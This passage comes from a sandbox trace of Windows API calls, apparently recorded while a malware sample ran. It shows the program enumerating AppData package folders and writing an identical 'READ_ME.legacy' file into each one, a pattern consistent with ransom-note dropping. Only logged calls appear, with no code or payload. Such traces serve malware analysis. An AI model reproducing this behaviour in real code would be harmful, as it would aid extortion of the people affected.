lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.848] CloseHandle (hObject=0x820) returned 1 [0149.848] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0149.848] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.848] WriteFile (in: hFile=0x820, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.849] CloseHandle (hObject=0x820) returned 1 [0149.849] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0149.849] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.859] WriteFile (in: hFile=0x820, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.861] CloseHandle (hObject=0x820) returned 1 [0149.861] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0149.861] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820 [0149.861] WriteFile (in: hFile=0x820, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.862] CloseHandle (hObject=0x820) returned 1 [0149.862] FindNextFileW (in: hFindFile=0x563938, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81df3049, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0149.862] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe23252d4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563af8 [0149.863] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe23252d4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.863] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0149.863] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.923] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.924] CloseHandle (hObject=0x824) returned 1 [0149.924] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0149.924] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.965] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.966] CloseHandle (hObject=0x824) returned 1 [0149.967] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0149.967] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.967] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.968] CloseHandle (hObject=0x824) returned 1 [0149.968] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0149.969] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.969] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.970] CloseHandle (hObject=0x824) returned 1 [0149.970] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23252d4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe23252d4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe23252d4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0149.970] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0149.970] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.973] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.974] CloseHandle (hObject=0x824) returned 1 [0149.974] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0149.974] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.980] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.981] CloseHandle (hObject=0x824) returned 1 [0149.981] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0149.981] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.982] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.982] CloseHandle (hObject=0x824) returned 1 [0149.983] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0149.983] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x824 [0149.983] WriteFile (in: hFile=0x824, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0149.984] CloseHandle (hObject=0x824) returned 1 [0149.984] FindNextFileW (in: hFindFile=0x563af8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0149.984] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f1d90f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2598456, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563d78 [0149.984] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f1d90f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2598456, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.984] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79f1d90f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0149.984] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.007] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.008] CloseHandle (hObject=0x828) returned 1 [0150.008] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ef76b0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.008] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.008] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.009] CloseHandle (hObject=0x828) returned 1 [0150.009] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.009] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.011] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.011] CloseHandle (hObject=0x828) returned 1 [0150.011] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.011] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.012] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.012] CloseHandle (hObject=0x828) returned 1 [0150.013] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2598456, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2598456, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2598456, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.013] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.013] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.013] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.014] CloseHandle (hObject=0x828) returned 1 [0150.014] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, 